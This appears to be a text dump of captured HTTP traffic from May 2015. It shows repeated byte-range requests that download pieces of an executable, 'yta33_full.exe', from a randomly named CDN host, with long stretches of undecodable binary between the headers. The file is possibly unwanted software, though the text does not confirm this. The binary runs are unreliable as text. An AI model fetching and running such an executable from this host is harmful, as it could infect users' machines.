......_..r..........12.#.!q|.......K..... (j..f....1.P...`.,._.......}
.R..5..%,Qb...Y...`w.S.d.2........tA4..l..;.R....V.1.....K...L.$.|2g.I
D..".q.go.R-cD41.i.>.$..C1..c..g.!.69.}.Z..S......L&.n.d..G."...`.9
%....'K$..d.,CZ}...'. .O.C.x...qVO...V..?"?...15..N2.`a. ..:..c...*..u
.....%".........=[b ...`.[n...25..0["..S..c.y ...N.$'....xi...L!8.<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=3000000-3249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: h7o3yrk-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:26 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 4mtP2bci6dlY/qWpHP2GjH4kMx2L3rP25Nh9RIwiIqHokpfxIUCxb3lswERhlnM4

x-amz-request-id: F9CEDACD593CC72E

Last-Modified: Thu, 14 May 2015 08:45:08 GMT

ETag: "fdf2293c3bf39ef22406bc5c9e860e07"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 3000000-3249999/8806904
{<..&.Xi.....Y.........O'L....#;5.!.l.,q..........(..i..H.`.n....$.
=*^.........*..o......c..>Hn\.T..|x...)|:Q..;..........Id.....W.^..
0~..c....6s...*......)./o..K.....f.6..>@.mt...9R|..`..V)..$[.u.ss..
.E[...L.....M..h.;7Mn. .v.o:.[..v..M.~...h.1....M..W.A....d...2o5..J..
 .....!.Wz/..=.G.....s....<.........._...\.D...\..!.. ..HC.-!.EZC./
..>.z.=w.5.......(O..4'.q:..af..B.;Y.H.......V..UU..r.e....Z)....e.
=..N... \.fm..M)...6&X...r0.xk....QVg.ly......U.7.....P.q.....Q.=....X
.l.T......lkWk.....2/....X.rQ....p3T_>.".,....k.r.ym......-`.......
..\.bwy.....nK.8..Z....e......#..Y~.E...-......V.U...'..........Rt3.t.
v.` ...P1.!.v..E.31.......z....t/O...Y6...%.....`...6...z~.k._.6...F..
.W..;..Z...!.%$.%. .%C.........^g....E.....?\..F."...o2F.d..<.6]...
 6.~~.....Y.6\..q...(.......P.8k....b..Y...........Q.5...YF.l...c.....
..TSP{.<.....[....C..[6s...dc..fg.....Fb..XV.%..}...K.....l......&.
Q.S..$.S'.I...u\a.v......;....pOQ8.rl....l..s..`...k....$..(......q...
c..~..../.C.d..{we......#.^..)..j.,[email protected]....'.....an....S.|.J.1
T..(..[..>..sh...`..leA...F .....|,>JH..........Uj......#.k....0
.%A].<.=......}n.-.f.h./.#...{......<...}.....UU;.......i%c.`B..
.....IA. .n`..4X.Q......}[email protected]....@:.t}.a....vY~ ..)=.N...
...$...a&Y..........}.=C5.V.:..W ....F..;..\'..exi.m.......##.........
....4C).....U........s.....dN....?QXYUPy.&;IJX;z.~.<O..V%&N.x...Y2.
o...e...;..5i:.#.!.G>.K....u,......TE..D.....m...1....*2..m.C.x ...
...{{s.a..e........ir......u..=.....)jx.A.>[4.[. #..wU..Jb.C..P<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=3250000-3499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: h7o3yrk-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:26 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 4mtP2bci6dlY/qWpHP2GjH4kMx2L3rP25Nh9RIwiIqHokpfxIUCxb3lswERhlnM4

x-amz-request-id: F9CEDACD593CC72E

Last-Modified: Thu, 14 May 2015 08:45:08 GMT

ETag: "fdf2293c3bf39ef22406bc5c9e860e07"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 3250000-3499999/8806904
.G.....=B.l...[....Kl=..X...O....\8.J....D...$r8*...=#f.B..P..U..R....
..,.J.NgqL....Z....i...X)].!..p\9..^.......p..........@48.......#X....
q......)#[email protected]^.....35..1.......^nw...#.........S&.....`IW .j..
......(D.J`N.X......:...T*..xN.H....hL,....A&.P....BL._K.Zb..b...QT(..
.I.W..lU.Y.1 .._...2..7f..\..&..Q>...o..mG....Si..R.\}...&C....P.2.
..C.. ....LL......Z..q....Kc......&}.1..J..8!.-IjK.R.T.J.....e.U......
...L{...EL.).....~........m....0...Bk..T..M..v.T.....K..RFr....I..."..
.o.*...".!....9.O...|..{...vE..'J'..QFB...~.u..H\B9....;........ju1...
f....f.M.5.P.kC.=..B..,...J.Q.G......g"......e!.C....ep...k.P...pm....
.U@Y...$..B...a.........d...*'..i.(.....|./.m....~.....<.Q.q2.j.A.7
....>..$.Q.a...D...&...I.3.8.P.a..^!1.c..Ei....b....6xl...._1Q...G.
..C....D..i..~.H.5..:.~B.ZFcVJ..Y..w2.e...w3^........5.....yt...E...I.
...A..By.9..X8l.Z#.F..P4.....e....>...e...s*...9y.p......)G'...)...
.o..3Yd........7.j ..~..:)t..j.*._.....|l..[g\......]..........w......
3...........z....S.....c..?hc.....0w.$..~.~!...t..[b4.r`..'.&.O....{..
.M.6O.W.S.|.wK...0ecC.M.....I.....N...h..Q..?.N...~..B........OY5`V..J
.d%P[.....J..=.x..............SS......Dh.3.3n. 9A..t.N}.)<.<'.#w
?MW.VH?.....$6.................SrRR.....fSc.v.. SV....V.R..JY..U...v..
2..0o.m.............>]...z|.7.^.;.. ..A ....E..%xO.....<6.H7....
S.B......&..-.k......9..@...^...?.>.C..n..>..v.E:%....r.E...`...
.e..|..x.....I....:..yN6;M..WP....s..E.@'SUoW.h...W(.a....R...8l..d..V
.7Z.|..).*T....<...L......UuX.xk......'..0..U `..F..'0'.-FQ...b<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=3750000-3999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: h7o3yrk-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:27 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 4mtP2bci6dlY/qWpHP2GjH4kMx2L3rP25Nh9RIwiIqHokpfxIUCxb3lswERhlnM4

x-amz-request-id: F9CEDACD593CC72E

Last-Modified: Thu, 14 May 2015 08:45:08 GMT

ETag: "fdf2293c3bf39ef22406bc5c9e860e07"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 3750000-3999999/8806904
jCd..:.....%.<U6...........Y.I`.#..~.../*Q.91.j)X.r..j.>........
....2. ..]...C!...Q.&..........J..}..Y.<....N...L....gy...J$...;...
.....*..w....?..S.|F:M.....z.......J.0.Q..O**.V.:z.D...5 ........D...N
.[.S..S..r......08.y.CK...b<M.q...U.z,E...d:....I.....=.t...D?X..:.
.5Su......#.i...[B..P.3.....b.|.d.t.....`..'ZO./.......x...r...`,.X.(a
a./....s3.....y|6..J...y0...i.[iT&L....h....k...22\.X....}...Õ...%.*
...Wo.. ... ...e- ..3,.}.w[......'[email protected] `..\.w......#dc..I.?.Y.(.*
$..... M7=L.f.OT..._p]M..t.u....J.Y...........|"H.. ^.qc5Y.#um.vu...F.
...NjM..2j.....^zP=..w....%|....-...LmZ..C.....E~.....8.f.qH...>.3.
C ....-.]..R..q.....$..J.[k.-......<..|..#..#.J..Y'...6...K.......v
.n=.3.V..S;).1....&.W<J-.d...../:..Dc.......JI.>.."..... q.PF..S
........Gb|....Ds.I.%[email protected] .....5...i..r....u.M.N....Y.....2~
..n".......S.m..:.1L{&.o...^Z..y. ...P.,..A..4...l.J.E..4IS..&....S.4.
-.7.....M.C4..4-.Xl.^..Y..`....~8...#l........&....Q....*.....^...,...
e.1.3.H....L...s......[..[.. ....<d........Y3E...O....>.rE{V0t..
...{.;.0...e..9-.E.E.Y.... p...A0.N...7."..2Y...GU.Y.k./..4.1...>HU
{...kW....z]....E....uo.`j3.E...k..^.~]>....$1.ZU*....K.Lfm;A.....O
.Q..1.\.`.o...d..;..].._ T5H.....gd..b.:....SP.......(...K..;|.2...%8.
0...~GW.3..c.....l..Yy[...0.~.p. .G..i...5......!.0S..y.(:J..x........
.c..h..8b...S.oDX.50..Z.F|2....4;dn.}l..b.....~....5"[email protected].
........f.y.##`2..g.[X.f...|.X...1.....{.....*.s=.[...$....r..{.@.....
m...........gJ..$..........@a.....#...a..HYY 3<b..y..?.....@..@<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=4000000-4249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: h7o3yrk-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:27 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 4mtP2bci6dlY/qWpHP2GjH4kMx2L3rP25Nh9RIwiIqHokpfxIUCxb3lswERhlnM4

x-amz-request-id: F9CEDACD593CC72E

Last-Modified: Thu, 14 May 2015 08:45:08 GMT

ETag: "fdf2293c3bf39ef22406bc5c9e860e07"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 4000000-4249999/8806904
Fw...w~1<.O......cw.........6..b..7.H.....c.^..HO.... .Qsi...)7.x5=
!\1....A_.Y.....m|........r....Gmj.....C.;.D-#...<.....4a...o.S...=
F.-1..z...X.L.4...!({.A..e.tu/..n.e.[....A.B........0...I.U.;.oT......
p0}c.5.........p.6(Ic.r....P...F..Y.LI...n.<....96{..,....h8..*....
..s....8.9x_Y..j.r.....].F.U.}..C.."..........l.......[.}N....?..4t.x.
........!.Z..}[email protected]..<~.`
8........T.t_{T/B.E....q..BQKc5)Q..5..i.3u..,...k.Te...^..y.X<..I.2
..:.<........N.....N..s.|....Q..=a.wq.Qc...'/.w.].K..Y.]zC.......*]
#........c.?qD...lX.j._'..R....o..os...O.......G}..6.#6../@.1.M.I_GR.D
.LZ......L.......}....}G=..i..}.\...JY..a.L64...o..}Cpb#.(...XZ.....0.
V....MV..]7......|..5f...m..t...1oj..6........q..t...A..`@'.>F.m...
.3.2y..%G...ALg.....%L.QXD......I./..9...-.0.z.#..m...../w...."..Z.*:E
.QN...........-........... ...KkH...H.=u.M[z,..Zi...5N.;Ga...R..1..<
;.!..QX....=...ox6..xu.....4..S.Gk...f.7j~Q`.i..).... (R."R......s..t.
.........../..$.....(.o(2\..](GV|......xP..'..I.|.).....lIW.^..`rN....
.Y......jf..Y...^w..#...v.S....P.[./.IK.....W....E.......F[.Y.j.....W.
.k..GW.Er^T*fO....../...i..zx._>&.^f...z.....P.. #....d.....<$..
.".r...P..X7.Rd3y6..k8'..W.4..  Vu...P...*6.........=.6`Qr.)..B..7....
)..4...p....CW......=....F...2.G9.`S?:`...O.?P...._... ..C..#.0CS.D...
.....;Fi.b.........Y. ../}....>l....C....3...(_...;....P...k....[.1
.`[email protected],=Z.4...R>..1U...J..<....6..G.AoS.
.|..D..].M\.M..T..*....tx..:....[;.s...M...O..C.7v......_d..[XY...<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=4500000-4749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: h7o3yrk-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:27 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 4mtP2bci6dlY/qWpHP2GjH4kMx2L3rP25Nh9RIwiIqHokpfxIUCxb3lswERhlnM4

x-amz-request-id: F9CEDACD593CC72E

Last-Modified: Thu, 14 May 2015 08:45:08 GMT

ETag: "fdf2293c3bf39ef22406bc5c9e860e07"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 4500000-4749999/8806904
.........8..*;....@v\../A....N".f)..U.......b"....9YY;..".2.K..I...s.G
.N#....Ow.5...A.>.!......".(s...<NQ.C!...;.Q... .......08.*.C.P[
...&...[..a.C.,..2W.....&c...3H.Z....G>.....U..7.....4...uD~..a.C..
O.s...e\>..e.G..A....?......N?.*..!.......B..).........X..z4Z?.I..t
.....&......i..L...k:u.o.......<m.........}... E...`....5..(a..7...
`.b....t^..........10....9.>...h.....,..jt/.yK5S$G].d..S.x*<.m9.
3tT..!.B..... i..w...Gh.F.~r..K.2D0F.:s.Rg1..E.8..!.VT.{.c....6.......
`......Rc.Hd.......`..........pss.Go%.q..]T1.;.5%.1.5...p...I...h^....
$.c..Xp.A.lY.v.....}>,J.W.MB.B..:...)...pyO.................~...hP.
i..7.A3T....s^.b ........G...3.F1.OH.L.d.Jm.k.M..D....".t....o.z.>.
......e.}......SF...F...`."zzo.9....n.H^...R<....o... .0Q..3w...Z.W
........x...p..J.|d.G..E..;=3R.Iup(T:..S..7...t{y.:?t.?......F.#.Y.q.K
._0.[}t.`x.......6!j:vx1.4..g.Uj...(......|..1@[email protected]~......x..p.
P...`hN..N..:}~..S.?g:"#...t..U.U..:..]..../_.d..o.d..T....H....1.:.*.
". ...c._.c.^.}V!.O9(&...?-..m......o..U.?...O.E#<.F......[.Q......
.z..^..... .;"...0#g..V..L..;G.<...e........{..Q.[w9(....-\........
3.af.....wi3.Mw.)...|....1.U.-I..(.F.//,...',..4..N..l.v..T{.U.A^$R
.........'[email protected]....#..R.("ZE,\.......h
. h29>.k...nN.n......._=......~., Z..K..."..".......UI.)......u..8.
..9.d.C..PwAU....>&...B[.$..7.....!eo.$A.}......Z.x..S....->s...
.g..[..nk...M........3x-./p2.p......o..(..1...^[email protected]..`.
...{.ob.m..> .,..... .Y.......y....U{|.>....|......5..c.r.O.<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=4750000-4999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: h7o3yrk-457zol7j.netdna-ssl.com

Connection: Keep-Alive



C.~.......N.m......c...v..{....."....W.M(W~..'....[H.M........*.a..#..
..{[. ...[.fr.'.....K.q..M./.0[.r....%.....T.rkL.T .zRu..0...mKs21..e.
..f.E..........J.mv.W....xx...$..0....:.4.WM...6..GAn...]5G..K....k_j.
8u.H...<......8.?'....:Cm..u... .rn.pR.J.D&...,...N...5...J.....8..
.8N.z.. ..(.}.......w.......w..wi.q.,V..n....... [..........a........@
;..Y..St.m.......}...]O7v.J...X.*..Q...Id....j.......J0#%cj.:.m V.....
 9..x_,...x..n.Zpa.;...c._....<(........g..G.]...OZ.T.p.*...,...D. 
.....v.C ...Y.UI..N.M%.....f...~.>....(..isJ.&v..k.6..7s.V.*.h....t
...........".lz.j?.5.._&./U.W.7....m.5i&....8....-J.f.U..V..n=h7..~. c
~$..L..@..:A%(2...." ..V....<..w._F.i.....G.rr.31y.C.....{.%.......
WR@:......xFV......].u.....u..m..)..~vZ....|k{..y.Q..=......E..bT.7.q.
.tN.kH....mP....ls..^....C_a>.n....M.Q....w&..h.u.C....T........G..
0.]/[email protected].]..p-.>.B.. ..%/..2..M........v....mK<.....!.W
0....j....7X.p....e|.3W6=..b....>a5....t...aW...R...... ..~G.......
.......1. ...>...q.L...,=.............'M...?...,f5..C..~&~.t....~[:
99.h.....dH.G....b{a.l...i.......}-....y...^..<..<4}..>...=M&
gt;%.#Lz..D.q..^.F.E.H..^}..\.l ..(*.[.r........9of.q.E.o...T.c...O...
.r...2...W...R.?uV....2n.....KO...........x.}.R..bNVn.j.i.`..`".....Eh
2d...y......_^.....f........".P.......(.X[......^.}v..^o.N\...b..{....
[D..'..yv..K..U.......j...a...2...P_H.`.........y..|tWsRi.... ..N0..bU
...$....YS...........j.Y.'SdB.w...t..)...,..'.B.C..B.y.$NL..fMN....c..
vb..<h'K.:.7[..`R|..PL&...........*.K.Rx.u..j.{8........._..RDR<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=5250000-5499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: h7o3yrk-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:27 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 4mtP2bci6dlY/qWpHP2GjH4kMx2L3rP25Nh9RIwiIqHokpfxIUCxb3lswERhlnM4

x-amz-request-id: F9CEDACD593CC72E

Last-Modified: Thu, 14 May 2015 08:45:08 GMT

ETag: "fdf2293c3bf39ef22406bc5c9e860e07"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 5250000-5499999/8806904
...g...W@..,.{..O.*.............n...c.H....c<.w `.h.{i.yC........3.
..!...&....m......>..?sb.....]OQs.I.oA...j.......}..-Z....O/*...hE.
../.....?/.U..SJ..Ieml.6..ZN..}TiyMD.B..#0.4?HA..u[I=..d=.._..Y.le....
.. g*BK.D.z.C..N.~.Y......Ekß..b.O.m. ..Rjg....~..d...V..q....d.....
h....../D...B.@].....4...Mo..qI..C.np..lc...`u..;..[:xi.!.ij..}l......
..Gh.F...Ay.wkH.....[.R...=..O$.R:..).v.".._o)abg...-Mb.....\~..i..t(.
...<.Iw.&8......`r......#1..^......g.VG..,.,......5.[....T/....T.#_
. .zL.....u.^...70..8g.......gw@'7.5.....}O..v....R:....#R.%..`.>..
.V.IB_.qq..Eb.g...g.......LY.gl.t....~*..--8........w.XH.5.1.....%-...
d...v.u.. .v..?..h.l..."*f...'....}.....&.9..x....s...[$.... w..1~.|ID
I~.U..gj.O.z....WUj.4....i..4.....:q.*G...E.`'.:..?....2.5..d/..3$z...
.%.|m.E..YO._..~.6............... [email protected]....")....a.C.P0....`.
..;....?mF.H9...[=...JUw.G...e..... q_...%...u.Z.RG......r.pB.'{|v....
...m .l...5.Y..r.{.W....1....(..0t..g...^ ^.........1N.O...b6..e....f(
.....J(...........q.GO...X..z...v..@/q.2.Xq\.......O..<..n.9...^..3
=z.I.#.:!m.R9.I....I..)..,.%.. ..\..xf..?^..Qz..T.`U..J;6..D.2....K.G.
8.>..-V.:...s?..a!......ex.......R.5a/...ycw_6..j\S.../.0..!. D....
{."R...a.n..k...[sR'.s...^..x)...g..Y.e.95...... ...sV...s....z./z/,,A
....._...rj..A.r?.4..W.e#.G...uj.D..x..-.O.l..^....i.y.H.=.....<..m
5...o.L./..].b..s.d.b.Q.X.. .... Ak^q....V..G..A}f........&u.F.t..O"..
.[u._. ..6ZvwQQ..sS....e>P.....$).~..0..c9D%..}....f.].sM._....Y..&
....e...7..5L......f.....D.x/.i 5|&.Ui.\..........'U.....nR..O...$<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=5750000-5999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: h7o3yrk-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:27 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 4mtP2bci6dlY/qWpHP2GjH4kMx2L3rP25Nh9RIwiIqHokpfxIUCxb3lswERhlnM4

x-amz-request-id: F9CEDACD593CC72E

Last-Modified: Thu, 14 May 2015 08:45:08 GMT

ETag: "fdf2293c3bf39ef22406bc5c9e860e07"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 5750000-5999999/8806904
p.W[.H".n..=.....].Q......n....Q......m.j....qL....q.slj.....5...M._bP
o.N3Y&..a?U....c.#t.6......J..8..cN<9..E_&`/%g.}...v.....%....I.:.~
H..V..%[email protected]..]Li.D!.........u....*.$....r......j.p.uw.f).
.X.a.zZ..*SA)[email protected]%..`....ei$..0.;pa...t. ....y.%<A...s}.....E..
.9...c.i.&..;..;\"Ps..j[...x.r..9.^.......w...|.c.G......9.s..,..K.b.:
........Z.!dZ..gsh}.j.H.2z."..g.*.F.5.D.......y.u.....B...K....}v..q!.
K4.'.W.....4..H.\..c ...D......B...kG. .c..#?#....6...../G.........=..
3..)..5Qi.d..>.r..(M...m..b...i.._...!..-.....h}j...%[email protected](
0...''...?(.g..r8..........w....P2.a\$?.go........V..5.l.2..?.X..e..E.
<.p..a ..H...;..t..:...P8..)gQG6 .y..G......t.......El.....TZ.o.mR.
.C .V...>......4.^0u..8.V...%U.l.....3V.6.O...T....1...T..'.9W.Z...
.].<.....n.......Y.......6.....<....5|...o'{X......3..V.._.1.y.k
[email protected]#I..q=.o..F......O.:.N.y,1}.4..1.f..y.P..I14Y."..%R.......q.
..L~..}k..J.k.....[.g0..O...]?...4Bdhm....;*...e.....`.E~0ql .........
.-.6.......$[..J..;..)R........#.)J.q..H.H....i.g........G.g..G27..P..
...6.&..c...Gs......2..&../A}.B.}..ldj...yM..y.et1..f8.{.u..E.....0p&g
t;...G...0KoH....)...wzC...,P..SF...VM.......f...........s..yM.}.....[
X.C....t.X...;.."[;.x.~v'.,z..to .........).}......t5=?.....&..v......
....l.......i..K.....d;.3...L....Wo....Kpv~....A..e.>[email protected]...&..H.v
..Q"W..9=.....8.5.f...~b.......^..z8imK.n....(...2...0..X.P..;An.aB...
.5.Gg1..W.B....cq.....%.=....Z....g.a..]O<.._s.B...K.......yL...l..
hG8...6^t.D...x.eL.K.w...;h....MN...6j.?.M.T..x\.k......s}CH......<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=7000000-7249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: h7o3yrk-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:28 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 4mtP2bci6dlY/qWpHP2GjH4kMx2L3rP25Nh9RIwiIqHokpfxIUCxb3lswERhlnM4

x-amz-request-id: F9CEDACD593CC72E

Last-Modified: Thu, 14 May 2015 08:45:08 GMT

ETag: "fdf2293c3bf39ef22406bc5c9e860e07"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 7000000-7249999/8806904
..st...k.6..ug9..rI}qX._..u..u.$,.^...,...O...b=..>.1..H8.<. M.^
..b.2.....K..oF]..=.....k.|7..rb*.....w..{..U..K(G.X/...8f.f....T..$(k
.1.\..3...gqU):.....t.C.JD.v.oI_3_.......}.*..b..h....[.).r..:.I....D.
...H?....9=.|1.B!..z.J.p."....6.t>)....i..3E.5.Q....?.'..I.W.~}..&l
t;..J.n.2.?~.z).....yZ$.&R`.Kv.k..C3U.wism..0m...q.Wm.NW$......].>6
x..s...g...Wb....(............f..Kj9?......*[email protected]=,..
.....ka.`Y.5.f5....:.Wc.].......H'c.q....*..qIz.e..).|C....J:E.......u
...-.......d...p/..d..&....[.............b..O..>..-...Pik".|.......
MD.d'5.....n1..e....K.H..]....w..{..jJc...v....,.Yx.....#.V.U.&r.Z..P.
J"f.*.E.W......)..o....@....]..O.....3.;.$=R....~...W..........d_..gY.
.k..J....S....X....He.ACU..>=...........~........._..P.%...m..hJsE.
o..".....b.|v....j1.4..D.........4...&.......GD....G.AS.].FW.zT....W4.
Ze..|...vEQ._U.P. ..(.yk.*q[...n".-..Y.}.7.}V.;...h..3:..........X..4.
..P.4.nl.......'..B..V..n#...x.?...."..ts!.....l_N..bk..=...#..O...^$Z
[./..Y....w.}C..c....l..vy....%./..*...U|.)...?.u......i#u..,..Uc.j1..
....H...jz...0|.lm.d?[..W.....9e.;[email protected].....#.X...A.M.1./..q..
O$...!........l...<...S.t.........e.6...&mw.6{.E..;...........|H.3p
Y.q...g5.... ....I........~C..B.K][x.n.(3.O....y.Y....Y....%.H.m.....H
?..#...p.....'..o.......l&,...K!..{.C..F.=.B@..=.........gB.Z....h....
qJ.....:.(.RV..{....p...S...:W*..6.. s..4..8........N..-g......K.8c...
....]....o...0.........jE.....6..M.. RD)=....T|k.d}.Sd.y/.ZP.....;.S._
...-.z...D.p&.2fXM.Y=}.`7......?...c]..w9.m#...u..-n..R....Q...h..<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=7250000-7499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: h7o3yrk-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:28 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 4mtP2bci6dlY/qWpHP2GjH4kMx2L3rP25Nh9RIwiIqHokpfxIUCxb3lswERhlnM4

x-amz-request-id: F9CEDACD593CC72E

Last-Modified: Thu, 14 May 2015 08:45:08 GMT

ETag: "fdf2293c3bf39ef22406bc5c9e860e07"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 7250000-7499999/8806904
.~3...%..a#.&r...Z.$...fF..U..W.......A......fGO..d..w........%>0.X
IN.1].........gr,.4...w.....:n~...q..4....N.%}...^.>...1.S;.E7...W.
.<.&4..D....>g;py.*EK..qB.a7...f,.........4... <....>..b..
.,.3.X.sE.gC...L......S.gCr..........3..2j.E.v...YU.t...m...F.U..].e.t
0.?c..ae...r.g.....t.r.~...}A..g8.>.`d.I..`....h......&3.6........&
y...(...o' ...6.4 ..5......L ....Uu .7f...?n.'y........-......4.J.>
..n...n...@~.\....XN%...1YR......x.)...(..4y.........Wt&..e........T..
}[email protected]. _...K.....v.W.......d... [aS.4.&l
t;.%....NH`..y...V'-v.......t#..t.7.........F.....65....d|.j....V..._.
..L.QD.?x.c.;[email protected]...|......./7.a..[.%V..a.y=..KUj.... ..k..l
.{..G$i....Q3....G.a....)ED...N.5...ZD4.f'/:...._..m ..bP.K...w...U...
A...v....MS...6.....f..E.V............\.yw....\......J..22....>T..^
X."~...k..~.Aa.{.#...V|.>.....?F.3..*.....z.cE.j,.....f..p..R.z.Oj&
..I....i.....w..'....^...dq...d../9~U..=....3....f.$..X.......V......9
k...6....j.j_.2.5R...}..=[...-`...{..$.8..E..PbX..E>...../G..a....[
MmD.8......a.....:M ...d=O....2...}V..~.2dC.....n..(....:...P8NR...=..
.......Ia.....ee..o..I..P..pwb..b........D.!....\V?..s...f28..[<CQ.
...vO.i....Loab8.%A...3.....Q..=l..#.2C..YF)U.J..Y.C..%W..2.......9...
Y...nG.H... ..7_$[..VT.gl..*..f..2...1."......T....-..xG.4.....(%.~.~.
/.4........G_^....@.......|@.........!..(.?V..M.$.w..3..M..h..M.2.x...
9.O.....]...2......1.....|[..Y.Iwuz;>.%.N..S....?.....f..x....{G..f
..r@X.|o..%.rOd..AlE........5..*8.0.^......)/......eO.P.........-c<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=7500000-7749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: h7o3yrk-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:28 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 4mtP2bci6dlY/qWpHP2GjH4kMx2L3rP25Nh9RIwiIqHokpfxIUCxb3lswERhlnM4

x-amz-request-id: F9CEDACD593CC72E

Last-Modified: Thu, 14 May 2015 08:45:08 GMT

ETag: "fdf2293c3bf39ef22406bc5c9e860e07"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 7500000-7749999/8806904
..8.,GS..f.......D.......2[....Bj...6..E<.G.......Z..1...".!...Zbh.
..X...[.w..)h"t.......j5...9G.]....<Q...w...?....w.f ..W&u.2.m..4qO
[..G.....2..l.....0.,.|J...I}v.6..@?..a..5b.=9.nt.5.P...Y....dc7?..:..
...fLpR..kt..w..>...f4f7.v........"...~..z....7......m.3M.Y.....f..
.qUo.<.w.......*."...5hmv..x...F9Sa..H.?...)....E]G4...g......C..8.
..w...-..W....k...j.\.......d_.7?.e.%Hi...|.[6i~.*....p.v..n..I......%
..O..x...R  .........]<f..j.....Hhxd.....*.`8.w S...E.e...l.h..:;.J
w)...S.....|/.,^...1;bx.k..L.T....v.....0..`...s:..f..&.9kq.......hL.G
...*.J..O.e...J.N!.2.S...%.......wh.W....c....7u//.9/....In....g..yf.!
h.5...,..>....lwQ..bU....'..d)w.8'[email protected]........
.r. ..;..v....Z....4.)....L.4.E..=i...g]..P{D..A2@..'...|.0.<u....f
....0qV.'....L.h.....S.~..^.j...6 ...:.219......1..n....L. .T...A./8).
......z.\.[...5.U.;u.E._.).~i..8c......cG......3....dY.Fq..;......p.M:
....p........6.=..S.8..W.O.k.i.f?6.Ov.g.B..^T.....bg..r.0...~...oQ..W.
K.it.....[.=-,.n...6..!M..9....).b..G...v..p../7.f7............17..6..
..H..JzX....;.^...J.s.y..q.7`&..x.%"......K .!.{$....{..L..l2.f...e..2
u.z...O......O/.?.<.XZ.b..s .o`.<.`.~[.6.&.......|U...L.{......x
.....g..(..1>...Q..|.g3.\...y.{.[. b^VHx......z.8....9g.......Z..dR
.[..G..fS.t.~s?[....y .u...Q....jH........dD..<...s|dzSz.....v...Z?
........0......#.Tt.......u........M.]..?.P....?E..^.A..].l..3x..2..Mf
n..n.....c.3.}.4I..t7..1..h( -m..p.....za.......r?..Pa.......:...p...@
...%]..>o...n.\......>.c.{....Lv.g..M....~.....r..e........-<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=8000000-8249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: h7o3yrk-457zol7j.netdna-ssl.com

Connection: Keep-Alive



